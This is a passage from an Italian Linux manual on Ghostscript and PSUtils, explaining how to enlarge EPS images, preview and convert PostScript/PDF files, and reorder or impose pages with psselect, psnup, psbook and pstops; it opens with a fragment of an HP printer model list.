'**cp1160**', '**DESKJET 1120**', '**DESKJET 1125**', '**DESKJET 1220**', '**deskjet 3320**', '**deskjet 3420**', '**DESKJET 350**', '**deskjet 3600**', '**DESKJET 3810**', '**DESKJET 3816**', '**DESKJET 3820**', '**DESKJET 3822**', '**DESKJET 540**', '**deskjet 5550**', '**deskjet 5551**', '**deskjet 5600**', '**DESKJET 600**', '**DESKJET 610**', '**DESKJET 612**', '**deskjet 6122**', '**deskjet 6127**', '**DESKJET 630**', '**DESKJET 632**', '**DESKJET 640**', '**DESKJET 648**', '**DESKJET 656**', '**DESKJET 660**', '**DESKJET 670**', '**DESKJET 672**', '**DESKJET 680**', '**DESKJET 682**', '**DESKJET 690**', '**DESKJET 692**', '**DESKJET 693**', '**DESKJET 694**', '**DESKJET 695**', '**DESKJET 697**', '**DESKJET 810**', '**DESKJET 812**', '**DESKJET 815**', '**DESKJET 816**', '**DESKJET 825**', '**DESKJET 830**', '**DESKJET 832**', '**DESKJET 840**', '**DESKJET 842**', '**DESKJET 845**', '**DESKJET 850**', '**DESKJET 855**', '**DESKJET 870**', '**DESKJET 880**', '**DESKJET 882**', '**DESKJET 890**', '**DESKJET 895**', '**DESKJET 920**', '**DESKJET 930**', '**DESKJET 932**', '**DESKJET 933**', '**DESKJET 934**', '**DESKJET 935**', '**DESKJET 940**', '**DESKJET 948**', '**DESKJET 950**', '**DESKJET 952**', '**DESKJET 955**', '**DESKJET 960**', '**DESKJET 970**', '**DESKJET 980**', '**DESKJET 990**', '**DESKJET 995**', '**Deskjet D4100**', '**dj450**', '**e-printer e20**', '**HP BUSINESS INKJET 2200**', '**HP BUSINESS INKJET 2230**', '**HP BUSINESS INKJET 2250**', '**HP BUSINESS INKJET 2280**', '**hp color LaserJet**', '**hp color LaserJet 3500**', '**hp color LaserJet 3550**', '**HP LaserJet**', '**hp LaserJet 1010**', '**hp LaserJet 1012**', '**Officejet Pro K550**', '**Officejet Pro K850**', '**PHOTOSMART 100**', '**PHOTOSMART 1115**', '**PHOTOSMART 1215**', '**PHOTOSMART 1218**', '**PHOTOSMART 130**', '**PHOTOSMART 1315**', '**PHOTOSMART 230**', '**Photosmart 470**', '**PHOTOSMART P1000**', '**PHOTOSMART P1100**'

29.1.4 Ghostscript per ingrandire le immagini EPS

Il formato EPS è una variante di PostScript, in cui, invece di fare riferimento a una pagina, si indica in modo preciso un lo spazio di un rettangolo. In pratica, il formato EPS si presta alla realizzazione di immagini.

Quando il contenuto di un'immagine EPS è fatta di linee e di testo, è ragionevole aspettarsi che un ingrandimento e una riduzione avvengano senza perdita di qualità (per quanto possibile tecnicamente), ma quando si converte un'immagine EPS in un formato non vettoriale, spesso ciò non avviene.

A titolo di esempio, si osservi il comando seguente, dove si fa riferimento all'uso di '**convert**' che appartiene al pacchetto ImageMagick (è descritto nella sezione 34.2.5). Lo scopo del comando è quello di leggere il file '`prova.eps`' e generare il file '`prova.png`' (PNG), ottenendo un ingrandimento di quattro volte:

$ **convert -geometry 400% prova.eps prova.png** [*Invio*]

Se si confrontano i file, il file PNG che si ottiene non risulta nitido come invece dovrebbe.

Per ovviare a questo inconveniente, occorre utilizzare Ghostscript direttamente, con l'ausilio di opzioni particolari.

Tabella 29.11. Alcune opzioni particolari di Ghostscript.

Opzione	Descrizione
`-dBATCH`	Fa in modo che vengano eseguite le elaborazioni richieste terminando il funzionamento di Ghostscript al termine.
`-sDEVICE=bbox`	Invece di trasformare il file emette le informazioni sulle coordinate del rettangolo che contiene l'immagine o la pagina. La sigla sta per *Bounding box*.
`-g`***m***`x`***n*** `-dDEVICEWIDTH=`***m*** ↩ ↪`-dDEVICEEIGHT=`***n***	Individua l'ampiezza (***m***) e l'altezza (***n***) della figura o della pagina da convertire. I valori sono espressi attraverso un numero intero che rappresenta punti, pari a 1/72 di pollice.
`-r`***n*** `-r`***m***`x`***n*** `-dDEVICEXRESOLUTION=`***m*** ↩ ↪`-dDEVICEYRESOLUTION=`***n***	Dichiara la risoluzione del formato di destinazione. Con l'opzione '**`-r`**', se si indica un solo valore, la risoluzione è uguale, sia in orizzontale, sia in verticale; se si indicano due valori, il primo è la risoluzione orizzontale, il secondo è la risoluzione verticale. la risoluzione viene indicata con un numero intero, che rappresenta punti per pollice; pertanto, una risoluzione normale è pari a 72.

Per poter ingrandire un'immagine durante una conversione, conviene realizzare uno script, perché occorre conoscere preventivamente l'ampiezza orizzontale e dell'altezza del file originale. Per ottenere le coordinate del rettangolo della pagina o dell'immagine che si vuole elaborare si può usare il comando seguente:

```
$ gs -q -dSAFER -dBATCH -dNOPAUSE -sDEVICE=bbox prova.eps 2>&1 [Invio]
```

Ovviamente, l'esempio si riferisce al file '`prova.eps`'. Ecco cosa si potrebbe ottenere:

```
%%BoundingBox: 0 0 12 49
%%HiResBoundingBox: 0.954000 0.936000 11.952000 48.527999
```

Dovendo lavorare con numeri interi, è sufficiente sapere che l'ampiezza è di 12 punti e l'altezza è di 49 punti. Supponendo di voler ingrandire di 10 volte l'immagine, per generare il file '`prova.png`', si dovrebbe usare il comando seguente:

```
$ gs -q -dSAFER -dBATCH -dNOPAUSE -sDEVICE=png16m -g120x490 ↩
↪    -r720x720 -sOutputFile=prova.png prova.eps [Invio]
```

Come si vede, oltre che intervenire con l'opzione '**`-g`**', occorre moltiplicare il valore di 72 usato nell'opzione '**`-r`**'.

Uno script con il quale si vuole ingrandire di 10 volte un file (PostScript, EPS o PDF), convertendolo in PNG, potrebbe essere fatto come nell'esempio seguente:

```
#!/bin/sh
#
INPUT_FILE=$1
OUTPUT_FILE=$2
#
BOUNDING_BOX=`gs -dSAFER -q -dBATCH -dNOPAUSE -sDEVICE=bbox $INPUT_FILE 2>&1`
#
NORMAL_BOUNDING_BOX=`echo $BOUNDING_BOX | sed "s/^%%BoundingBox:↩
↪ *\([0-9.]*\)  *\([0-9.]*\)  *\([0-9.]*\)  *\([0-9.]*\) *.*$/\1 \2 \3 \4/"`
#
BOXX=`echo $NORMAL_BOUNDING_BOX | sed "s/^[0-9.]*  *[0-9.]* ↩
↪ *\([0-9.]*\) *.*$/\1/"`
BOXY=`echo $NORMAL_BOUNDING_BOX | sed "s/^[0-9.]*  *[0-9.]* ↩
↪ *[0-9.]*  *\([0-9.]*\) *.*$/\1/"`
#
gs -dSAFER -q -dBATCH -dNOPAUSE -sDEVICE=png16m -g${BOXX}0x${BOXY}0 ↩
↪-r720x720 -sOutputFile=$OUTPUT_FILE $INPUT_FILE
```

29.1.5 Anteprima di stampa

Nello stesso modo in cui Ghostscript viene utilizzato per convertire file PostScript in formati adatti alle stampanti normali, così è possibile ottenere una conversione in un formato che possa essere mostrato attraverso lo schermo, solitamente all'interno del sistema grafico X.

Alcuni strumenti grafici specifici, si occupano di guidare l'utente all'utilizzo di Ghostscript in modo da ottenere un'anteprima di stampa su schermo. In mancanza di questi si può usare manualmente Ghostscript stesso:

$ **gs -dSAFER -q -sDEVICE=x11 prova.ps** [*Invio*]

Il comando di questo esempio consente di visualizzare il file '`prova.ps`', attraverso il sistema grafico X (ovviamente va usato il comando da una finestra di terminale). Si osservi che al posto della parola chiave '**`x11`**' se ne possono provare altre (dovrebbero essere disponibili: '**`x11alpha`**', '**`x11cmyk`**', '**`x11cmyk2`**', '**`x11cmyk4`**', '**`x11cmyk8`**', '**`x11gray2`**', '**`x11gray4`**', '**`x11mono`**'). Una volta dato il comando di visualizzazione, appare una finestra con il contenuto della prima pagina e, dove è stato dato il comando, si può interagire con Ghostscript:

```
>>showpage, press <return> to continue<<
```

È sufficiente premere [*Invio*] per passare alla pagina successiva, fino alla fine del documento:

[*Invio*]

```
>>showpage, press <return> to continue<<
```

[*Invio*]

```
>>showpage, press <return> to continue<<
```

Al termine si presenta un invito:

```
GS>
```

Per concludere il funzionamento di Ghostscript si usa il comando '**`quit`**':

`GS>`**`quit`** [*Invio*]

A titolo di esempio, nelle figure successive si vedono due programmi che facilitano l'uso di Ghostscript per la visualizzazione del contenuto di un file PostScript.

`ghostview` [*opzioni*] [*file*]

`gv` [*file*] [*opzioni*]

Figura 29.17. Ghostview.[4]

Figura 29.18. GV.[5]

29.1.6 Distillazione

Le versioni recenti di Ghostscript forniscono degli script utili per «distillare» un file PostScript, EPS o PDF, in modo da semplificarlo o adattarlo in qualche modo.

1. `ps2ps` [*opzioni*] *file_originale* *file_da_generare_ps*

2. `eps2eps` [*opzioni*] *file_originale* *file_da_generare_eps*

3. `ps2epsi` [*opzioni*] *file_originale* *file_da_generare_epsi*

4.
```
ps2ascii [opzioni] file_originale file_da_generare_ascii
```

5.
```
pdf2ps [opzioni] file_originale file_da_generare_ps
```

6.
```
ps2pdf [opzioni] file_originale file_da_generare_pdf
```

I primi due script ('**ps2ps**' e '**eps2eps**') si riferiscono precisamente a file PostScript, oppure a file EPS, con lo scopo di adattarli semplificandoli. Si traducono sinteticamente nel codice seguente:

```
gs -q -sDEVICE=pswrite -sOutputFile=file_da_generare ↩
↪-dNOPAUSE -dBATCH [opzioni] file_originale
```

```
gs -q -sDEVICE=epswrite -sOutputFile=file_da_generare ↩
↪-dNOPAUSE -dBATCH [opzioni] file_originale
```

Da questo si comprende che le opzioni sono semplicemente quelle che in questo contesto potrebbero essere date all'interprete Ghostscript. Di solito, può essere conveniente l'uso dell'opzione '**-dLanguageLevel=1**', con cui si ottiene un file contenente soltanto istruzioni relative al livello uno del linguaggio PostScript.

Il terzo script ('**ps2epsi**') serve a trasformare un file PostScript in un formato EPSI (ovvero un formato EPS che incorpora anche un'anteprima dell'immagine, in un formato a mappa di bit).

Il quarto script ('**ps2ascii**') serve a trasformare un file PostScript, EPS o PDF, in un file di testo puro e semplice.

Il quinto e il sesto script ('**pdf2ps**' '**ps2pdf**') servono a trasformare un file PDF in PostScript, o viceversa. Si osservi però che il file PDF che si ottiene dalla distillazione è privo di alcune caratteristiche comuni nei file PDF.

29.1.7 Estrazione di disegni

Il formato PostScript consente la rappresentazione di disegni in forma vettoriale. In certe situazioni, può essere necessario estrarre le informazioni di un disegno vettoriale da una pagina PostScript per consentirne la rielaborazione con un programma adatto.

29.1.7.1 Pstoedit

Pstoedit[6] è un programma molto semplice, in grado di estrarre le informazioni vettoriali da un file PostScript o da un file PDF.[7] Il programma eseguibile che svolge questo compito è '**pstoedit**', che si utilizza secondo lo schema sintattico seguente:

```
pstoedit [opzioni_varie] -f formato_finale[:opzioni_del_formato] ↩
↪ [file_originale [file_da_ottenere]]
```

In condizioni normali, è sufficiente indicare l'opzione '**-f**', a cui segue una parola chiave che identifica il formato finale in cui si vuole convertire il file PostScript (o PDF). Se il formato di conversione prevede delle opzioni, queste vanno indicate dopo il nome della conversione, separate da due punti verticali (come si vede dal modello sintattico). Alla fine della riga di comando si indicano i file da utilizzare, ma in loro mancanza si trae il file in ingresso dallo standard input e si emette il risultato della conversione attraverso lo standard output.

I formati per la conversione sono numerosi e si può ottenere l'elenco completo di quelli incorporati nel programma con l'opzione '**-help**'. Per approfondire i dettagli sulle opzioni di alcuni formati conviene leggere la pagina di manuale *pstoedit(1)*. Qui viene proposto un elenco ridotto di opzioni:

Opzione	Descrizione
`-help`	Emette attraverso lo standard error una guida rapida sul suo utilizzo, completa di un elenco di formati disponibili.
`-page` ***n***	Converte la pagina ***n***-esima.
`-merge`	Consente la ricostruzione di poligoni riempiti.
`-v`	Mostra qualche informazione in più durante la conversione.
`-f gnuplot`	Converte in formato Gnuplot.
`-f fig` `-f xfig`	Converte in formato FIG (per XFig).
`-f pic`	Converte in formato PIC (per Groff).
`-f latex2e`	Converte in un formato adatto a LaTeX.
`-f java1` `-f java2`	Converte in formato sorgente Java, 1 o 2.

Viene proposto un esempio molto semplice, in cui si vuole convertire il file '`figura.ps`' (PostScript contenente una sola pagina) nel file '`figura.fig`' (adatto a XFig):

```
$ pstoedit -f fig figura.ps figura.fig[Invio]
```

29.2 Rielaborazione PostScript

Nella sezione 29.1 si accenna alla struttura di un file PostScript, e al fatto che il suo contenuto possa essere riadattato. Per queste rielaborazioni vengono in aiuto diversi programmi, in particolare la raccolta denominata PSUtils (*PostScript utilities*).

Attraverso la rielaborazione di un file PostScript, si potrebbe ottenere:

- l'adattamento delle dimensioni del foglio;
- l'estrazione di pagine in un documento a parte;
- la fusione di file diversi;
- la modifica nella sequenza delle pagine;
- l'unione di più pagine in un solo foglio.

Purtroppo, questi programmi di servizio non sono perfetti e funzionano generalmente solo con file che rispettano alcune convenzioni, allo scopo di facilitare l'individuazione delle pagine del documento.

29.2.1 Sequenza di stampa

Quando si vuole organizzare la stampa di un documento voluminoso, il primo problema è stabilire la gestione della stampa fronte-retro. Dal momento che si dispone normalmente di stampanti che stampano una sola faccia per volta, dopo la prima passata, occorre stabilire come deve essere girata la carta e se deve essere invertita la sequenza dei fogli.

Figura 29.20. Movimento della carta in una stampante laser tipica.

lato stampato
lato da stampare
lato stampato
lato da stampare
lato stampato
lato da stampare

Il programma GV permette di stampare in maniera distinta le pagine dispari da quelle pari, ma per la gestione di sequenze più complesse, occorre fare affidamento sui programmi che sono descritti in queste sezioni.

Il problema più comune è quello di stampare su un solo foglio, fronte e retro, quattro facciate ridotte alla metà della dimensione normale. Si osservi la figura 29.21; rappresenta la sequenza necessaria per la stampa corretta di quattro facciate su un solo foglio, quando si dispone di una stampante normale che stampa su una sola facciata alla volta, tenendo conto quindi che il foglio deve essere reimmesso nella stampante.

Figura 29.21. Sequenza per la stampa di quattro facciate su un foglio normale utilizzando stampanti normali.

Se la stampante funziona come mostrato nei primi due modelli che appaiono nella figura 29.20, si può comprendere il meccanismo osservando la sequenza di operazioni mostrata dalla figura 29.22. In pratica, dopo la stampa della prima facciata, occorre prendere il foglio senza ruotarlo e reimmetterlo in ingresso per la stampa.

Figura 29.22. Sequenza pratica per la stampa di quattro facciate su un foglio normale, utilizzando stampanti normali.

Se la stampa supera le quattro facciate ridotte, ovvero se richiede più di un foglio, occorre suddividere la stampa in modo da stampare prima il fronte e poi il retro. Nel momento in cui si passa a stampare il retro, occorre verificare se si deve invertire la sequenza dei fogli, oppure se si invia la stampa del gruppo di pagine in senso inverso.

Volendo, il problema si può complicare ancora di più, se i fogli che si ottengono devono essere rilegati a gruppetti (segnature), attraverso una cucitura centrale. In pratica, la prima facciata del primo foglio contiene la prima e l'ultima pagina, mentre la seconda facciata contiene la seconda e la penultima pagina, continuando così con i fogli successivi.

Un altro problema da considerare quando si utilizzano stampanti laser, è la temperatura. La stampa richiede il riscaldamento e la fusione dell'inchiostro in polvere, così facendo, sia la stampante che la carta si riscaldano notevolmente durante il funzionamento. Quando si deve reimmettere la carta che è già stata stampata da un lato, è probabile che alcuni fogli tendano ad appiccicarsi, rovinando la sequenza di stampa. In queste situazioni è consigliabile stampare a piccoli blocchi, per dare il tempo alla stampante e alla carta di raffreddarsi un po'.

Le stampanti duplex possono stampare simultaneamente fronte-retro. Per arrivare a questo risultato, l'immagine che viene stampata nel retro del foglio è rovesciata tenendo conto dell'orientamento normale di questo: verticale. Quando si vogliono stampare quattro facciate su un foglio unico, le cose si complicano; in pratica, le due facciate ridotte che vanno collocate nel retro del foglio, devono essere rovesciate. Forse, la figura 29.23 aiuta a comprendere la cosa.

Figura 29.23. Sequenza per la stampa di quattro facciate su un foglio normale utilizzando stampanti duplex.

4 1 3 2

1 2 4 3

Una sequenza di stampa di questo tipo può essere simulata anche con una stampante normale, nella quale i fogli debbano essere reimmessi per la stampa della parte retrostante. la figura 29.24 mostra in che modo debbano essere reimmessi i fogli in questo caso.

Figura 29.24. Sequenza pratica per la stampa di quattro facciate su un foglio normale simulando una stampante duplex.

29.2.1.1 Piega doppia

Si possono stampare su un solo figlio, fronte e retro, otto facciate ridotte; successivamente si può piegare e tagliare il foglio in modo da ottenere un libretto molto piccolo, in proporzione alla dimensione di partenza. In pratica, supponendo di partire da un foglio A4, si vuole arrivare a una dimensione simile al A6, che si ha proprio quando si piega due volte un foglio A4.

Figura 29.25. Un foglio piegato in quattro per rappresentare otto pagine ridotte.

La figura 29.25 dovrebbe chiarire in che modo vada piegato il foglio e si intravede la sequenza delle pagine. La figura 29.26 mostra meglio la sequenza delle pagine ridotte, mostrando anche quando queste devono risultare capovolte.

Figura 29.26. Schema per stampare quando si intende piegare il foglio due volte.

5	4	3	6
8	1	2	7

Naturalmente, volendo piegare assieme più fogli, la sequenza si complica ulteriormente, pur rimanendo questo il principio di funzionamento.

Le pagine piegate in questo modo, vanno tagliate nella parte alta, dopo la piega. Un libro stampato in questo modo, potrebbe essere rilegato ignorando il problema della pagine attaccate sul lato superiore, lasciando poi al lettore il compito di separarle con un tagliacarte.

29.2.2 PSUtils

La raccolta di programmi più importante per la rielaborazione dei file PostScript è PSUtils. [8] Nelle sezioni seguenti viene descritto il funzionamento dei suoi componenti più importanti.

Molti di questi programmi hanno in comune le opzioni che vengono elencate brevemente nella tabella 29.27.

Tabella 29.27. Opzioni comuni dei programmi di PSUtils.

Opzione	Descrizione
`-w`***larghezza***	Definisce l'ampiezza orizzontale della carta del formato finale. Se il valore viene espresso senza l'indicazione dell'unità di misura, si intende trattarsi di punti tipografici.
`-h`***altezza***	Definisce l'ampiezza verticale della carta del formato finale. Se il valore viene espresso senza l'indicazione dell'unità di misura, si intende trattarsi di punti tipografici.
`-p`***formato***	In alternativa all'indicazione delle dimensioni del formato finale, si può usare questa opzione per indicare direttamente il nome standard del formato finale. Se le dimensioni non vengono definite, si sottintende trattarsi di '**`a4`**'.
`-W`***larghezza***	Definisce l'ampiezza orizzontale della carta del formato di origine. Se il valore viene espresso senza l'indicazione dell'unità di misura, si intende trattarsi di punti tipografici.
`-H`***altezza***	Definisce l'ampiezza verticale della carta del formato di origine. Se il valore viene espresso senza l'indicazione dell'unità di misura, si intende trattarsi di punti tipografici.
`-P`***formato***	In alternativa all'indicazione delle dimensioni del formato di origine, si può usare questa opzione per indicare direttamente il nome standard del formato di origine. Se le dimensioni non vengono definite, si sottintende trattarsi di '**`a4`**'.

Opzione	Descrizione
`-q`	Durante l'elaborazione, viene emesso attraverso lo standard error l'elenco dei numeri di pagina che vengono elaborati. Se si utilizza questa opzione, se ne sopprime la segnalazione.

È il caso di sottolineare che le dimensioni della carta, quando devono essere fornite, possono essere espresse senza l'indicazione di un'unità di misura, facendo riferimento implicitamente a punti tipografici da 1/72 di pollice, altrimenti si possono indicare le sigle '**`cm`**' o '**`in`**' che si riferiscono rispettivamente a centimetri e pollici. Il formato della carta può essere espresso anche attraverso il suo nome standard; precisamente vengono accettate le parole chiave: '**`a3`**', '**`a4`**', '**`a5`**', '**`b5`**', '**`letter`**', '**`legal`**', '**`tabloid`**', '**`statement`**', '**`executive`**', '**`folio`**', '**`quarto`**' e '**`10x14`**'.

29.2.2.1 Utilizzo di «psresize»

Il programma '**`psresize`**' elabora un file PostScript adattandone le dimensioni, in base a quanto specificato con le opzioni, generando un nuovo file. Se il secondo file non viene indicato attraverso la riga di comando, il risultato viene emesso attraverso lo standard output; se non viene indicato nemmeno il primo, il file da elaborare viene tratto dallo standard input.

```
psresize [opzioni] [file_originale [file_elaborato]]
```

Sono disponibili le opzioni comuni elencate nella tabella 29.27.

29.2.2.2 Utilizzo di «psselect»

Il programma '**`psselect`**' elabora un file PostScript estraendone alcune pagine e generando un nuovo file con queste. Se il secondo file non viene indicato attraverso la riga di comando, il risultato viene emesso attraverso lo standard output; se non viene indicato nemmeno il primo, il file da elaborare viene tratto dallo standard input.

```
psselect [opzioni] [file_originale [file_elaborato]]
```

Le pagine vengono selezionate attraverso l'opzione '**`-p`**' che può essere usata congiuntamente a '**`-e`**' (pagine pari) oppure '**`-o`**' (pagine dispari).

I numeri di pagina a cui si fa riferimento, sono relativi alla disposizione effettiva, contando a partire dal numero uno. Infatti, un file PostScript può essere il risultato di un assemblaggio di pagine numerate in vario modo, dove questa numerazione può non corrispondere alla disposizione effettiva delle pagine all'interno del file.

Tabella 29.28. Alcune opzioni.

Opzione	Descrizione
`-e`	Seleziona solo le pagine pari (*even*).
`-o`	Seleziona solo le pagine dispari (*odd*).
`-p`***pagine***	Permette di specificare un gruppo di pagine, attraverso un elenco separato da virgole. All'interno dell'elenco si possono specificare anche degli intervalli, separando il numero iniziale da quello finale con un trattino singolo ('-'). Se un numero di pagina è prefissato dal trattino basso ('_'), questo si intende riferito alla fine del documento, contando all'indietro.
`-r`	Con questa opzione, le pagine estratte vengono organizzate in ordine inverso rispetto a quello di origine (*reverse*).
`-q`	Durante l'elaborazione, viene emesso attraverso lo standard error l'elenco dei numeri di pagina che vengono elaborati. Se si utilizza questa opzione, se ne sopprime la segnalazione (*quiet*).

Segue la descrizione di alcuni esempi.

- `$` **`psselect -p1,3 documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' la prima e la terza pagina, generando il file '`mio_file.ps`'.

- `$` **`psselect -p1,_3 documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' la prima e la terza pagina dalla fine, generando il file '`mio_file.ps`'.

- `$` **`psselect -p1-3,10-15 documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' le prime tre pagine e le pagine dalla 10 alla 15, generando il file '`mio_file.ps`'.

- `$` **`psselect -p-3,10-15 documento.ps mio_file.ps`** [*Invio*]

  Esattamente come nell'esempio precedente, con la differenza che la prima pagina viene considerata in modo predefinito, avendo lasciato il trattino da solo.

- `$` **`psselect -p3,150- documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' la terza pagina e tutte le pagine a partire dalla 150, generando il file '`mio_file.ps`'.

- `$` **`psselect -e -p150- documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' tutte le pagine pari (*even*) a partire dalla 150, generando il file '`mio_file.ps`'.

- `$` **`psselect -o -r -p150- documento.ps mio_file.ps`** [*Invio*]

  Estrae dal file '`documento.ps`' tutte le pagine dispari (*odd*) a partire dalla 150, in ordine inverso, generando il file '`mio_file.ps`'.

29.2.2.3 Utilizzo di «psnup»

Il programma '**psnup**' elabora un file PostScript generando un file in cui diverse pagine di origine sono assemblate in un'unica pagina finale. In pratica permette di ottenere due o più pagine in un'unica facciata.

```
psnup [opzioni] [file_originale [file_elaborato]]
```

Se il secondo file non viene indicato attraverso la riga di comando, il risultato viene emesso attraverso lo standard output; se non viene indicato nemmeno il primo, il file da elaborare viene tratto dallo standard input.

Le pagine riunite assieme da '**psnup**' sono inserite in sequenza, così come si trovano nel file originale. Per cambiare l'ordine di stampa in modo da poter ottenere un fronte-retro, occorre preelaborare il file di origine attraverso '**psbook**'.

Sono disponibili le opzioni comuni elencate nella tabella 29.27; inoltre:

Opzione	Descrizione
-n	Un trattino seguito da un numero indica la quantità di pagine che si vogliono unire in un'unica pagina finale. Per esempio, '**-2**' fa in modo che su una pagina finale siano unite assieme due pagine di quelle originali, ridotte opportunamente.

Segue la descrizione di alcuni esempi.

- `$ psnup -2 documento.ps mio_file.ps` [*Invio*]

  Elabora il file 'documento.ps' (A4) generando il file 'mio_file.ps' (A4) che, per ogni pagina, contiene due pagine del documento originale.

- `$ psnup -4 documento.ps mio_file.ps` [*Invio*]

  Come nell'esempio precedente, con la differenza che vengono riunite quattro pagine in una sola facciata.

- `$ psnup -Pletter -4 documento.ps mio_file.ps` [*Invio*]

  Come nell'esempio precedente, con la differenza che il file originale contiene pagine in formato '**letter**'.

29.2.2.4 Utilizzo di «psbook»

Il programma '**psbook**' elabora un file PostScript generando un altro file in cui la sequenza delle pagine risulta alterata in modo da poter stampare un libretto. Per esempio, nel caso della stampa di gruppi di quattro pagine, la sequenza generata è 4-1-2-3, in modo da poter stampare un foglio in cui sul fronte (recto) appaiano le pagine 4-1 e sul retro (tergo) le pagine 2-3. Questo permette di piegare il foglio e di leggerlo a modo di libretto. In tal caso si hanno legature (segnature) di un solo foglio.

```
psbook [opzioni] [file_originale [file_elaborato] ]
```

I gruppi di pagine possono essere di dimensioni maggiori, precisamente si tratta di multipli di quattro; se non viene specificato diversamente con le opzioni, si intende un gruppo di dimensioni sufficienti a contenere tutte le pagine contenute nel file originale.

Se il secondo file non viene indicato attraverso la riga di comando, il risultato viene emesso attraverso lo standard output; se non viene indicato nemmeno il primo, il file da elaborare viene tratto dallo standard input.

Tabella 29.30. Alcune opzioni.

Opzione	Descrizione
`-q`	Durante l'elaborazione, viene emesso attraverso lo standard error l'elenco dei numeri di pagina che vengono elaborati. Se si utilizza questa opzione, se ne sopprime la segnalazione.
`-s`*n*	L'opzione '**`-s`**' permette di definire la dimensione del raggruppamento. Se non viene specificato, si intende un gruppo unico per tutte le pagine del file originale. Il valore minimo è quattro e può assumere solo un valore multiplo a quattro.

Segue la descrizione di alcuni esempi.

- `$` **`psbook -s4 documento.ps mio_file.ps`** [*Invio*]

  Elabora il file '`documento.ps`' generando il file '`mio_file.ps`' con una sequenza del tipo 4-1+2-3.

- `$` **`psbook -s8 documento.ps mio_file.ps`** [*Invio*]

  Elabora il file '`documento.ps`' generando il file '`mio_file.ps`' con una sequenza del tipo 8-1+2-7+6-3+4-5.

29.2.2.5 Utilizzo di «pstops»

Il programma '**`pstops`**' elabora un file PostScript generando un altro file in cui le pagine possono figurare ridotte, ingrandite, ruotate e sovrapposte. Lo scopo di '**`pstops`**' è anche quello di riorganizzare la sequenza di queste pagine, in modo più libero rispetto a '**`psbook`**'.

```
pstops [opzioni] definizione_pagine [file_originale [file_elaborato] ]
```

Se il secondo file non viene indicato attraverso la riga di comando, il risultato viene emesso attraverso lo standard output; se non viene indicato nemmeno il primo, il file da elaborare viene tratto dallo standard input.

L'argomento più delicato di '**`pstops`**' è quello che serve a definire le pagine: si tratta di un argomento singolo che definisce come sono raggruppate e per ogni raggruppamento definisce le nuove pagine che vengono generate. Per comprendere il senso di ciò occorre scomporre questo argomento in fasi successive. Per prima cosa viene definito come sono fatti i gruppi:

[*modulo* :] *definizione_pagine_del_gruppo*

Il modulo è un numero che esprime la quantità di pagine da prendere in considerazione di volta in volta. Il valore minimo è di una sola pagina e si tratta anche di quello predefinito nel caso non sia indicato espressamente. In base a questo raggruppamento, vengono definite delle pagine relative numerate a partire da zero, fino al valore del modulo meno uno. Ogni pagina relativa viene definita con la sintassi seguente:

[-] *n_relativo_pagina* [L] [R] [U] [@*scala*] [(*scostamento_orizzontale* , *scostamento_verticale*)]

In pratica, il numero relativo della pagina serve a specificare a quale pagina del modulo si fa riferimento. Questo numero potrebbe essere fatto precedere dal segno '**-**', ma in tal caso si intende fare riferimento a raggruppamenti che partono dalle pagine finali del documento e scorrono verso quelle iniziali.

Le lettere '**L**', '**R**' e '**U**', servono rispettivamente a ottenere una rotazione a destra (di 90 gradi in senso orario), a sinistra (di 90 gradi in senso antiorario) e a rovesciare dall'alto in basso (rispetto al suo orientamento originale). Queste lettere possono essere usate in modo cumulativo e di solito si combinano la '**L**' con la '**U**', o la '**R**' con la '**U**' (combinare la '**L**' con la '**R**' non serve a nulla). Dopo queste lettere può essere indicata una scala (preceduta dal simbolo '**@**'). Il valore che regola la scala è tale per cui il numero uno corrisponde al 100 %, di conseguenza, per indicare delle riduzioni si devono usare valori inferiori all'unità (utilizzando il punto come separatore decimale).

L'ultima parte della definizione della pagina serve a stabilire uno spostamento di questa sulla superficie del foglio finale che si vuole ottenere. I due numeri indicano uno spostamento orizzontale e verticale. L'unità di misura predefinita è il punto tipografico, ma può essere specificata un'unità di misura più conveniente: '**cm**' per i centimetri e '**in**' per i pollici. I valori sono sempre positivi, ma per sapere l'effetto che questi hanno (per determinare se lo spostamento è verso destra o sinistra, oppure in alto o in basso) occorre provare necessariamente, perché tutto dipende dal tipo di rotazione che si stabilisce. In ogni caso, se si ruotano le pagine è indispensabile spostarle, altrimenti queste risultano collocate fuori dalla superficie finale.

Per mettere assieme più pagine su uno stesso foglio, si usa il simbolo '**+**' per unirne le specifiche; per indicare le pagine da collocare su facciate finali successive, si usa una virgola ('**,**') per unire assieme tali indicazioni.

A titolo di esempio, si osservi la definizione seguente con la quale si vogliono stampare due pagine A4, riducendole, su un'unica facciata A4.

```
2:0L@0.7(21cm,0)+1L@0.7(21cm,14.85cm)
```

Il numero due iniziale è il modulo di due pagine. Segue la definizione della prima pagina di questo raggruppamento, con il numero zero, che viene ruotata di 90 gradi in senso antiorario (verso sinistra), viene ridotta al 70 % e viene anche spostata in orizzontale di 21 cm. La seconda pagina relativa (con il numero uno) viene collocata nella stessa facciata finale, perché è unita attraverso il simbolo '**+**'. La seconda pagina viene ruotata anch'essa di 90 gradi in senso antiorario, è ridotta nello stesso modo e viene spostata orizzontalmente come la prima, ma anche verticalmente di 14,85 cm. Il risultato che si ottiene è una pagina A4 che deve essere rovesciata in senso orario per poter leggere le due pagine ridotte.

```
4:3L@0.7(21cm,0)+0L@0.7(21cm,14.85cm),1R@0.7(0,29.75cm)+2R@0.7(0,14.85cm)
```

Questo nuovo esempio, simile al precedente, mostra la generazione di due facciate finali, in pratica un fronte-retro, dove nella prima si inseriscono le riduzioni della prima e della quarta pagina di un raggruppamento di quattro (4-1), mentre nella seconda facciata finale si inseriscono le riduzioni della seconda e della terza pagina del raggruppamento (2-3). Nella prima facciata, le pagine ridotte sono orientate verso sinistra, nella seconda sono orientate verso destra. In pratica, si ottiene una sequenza 4-1+2-3, orientata in modo da essere stampata correttamente con una stampante duplex.

Sono disponibili le opzioni '**-w**', '**-h**', '**-p**' e '**-q**', come descritto nella tabella 29.27, a cui si aggiunge in particolare l'opzione '**-d**':

Opzione	Descrizione
`-d` [*spessore*]	Con questa opzione si ottiene una cornice attorno alle pagine, con lo spessore indicato dall'argomento (in mancanza dell'unità di misura, si intendono punti tipografici). Se lo spessore non viene specificato, si ottiene una linea di un punto.

29.2.2.6 Esempi particolari

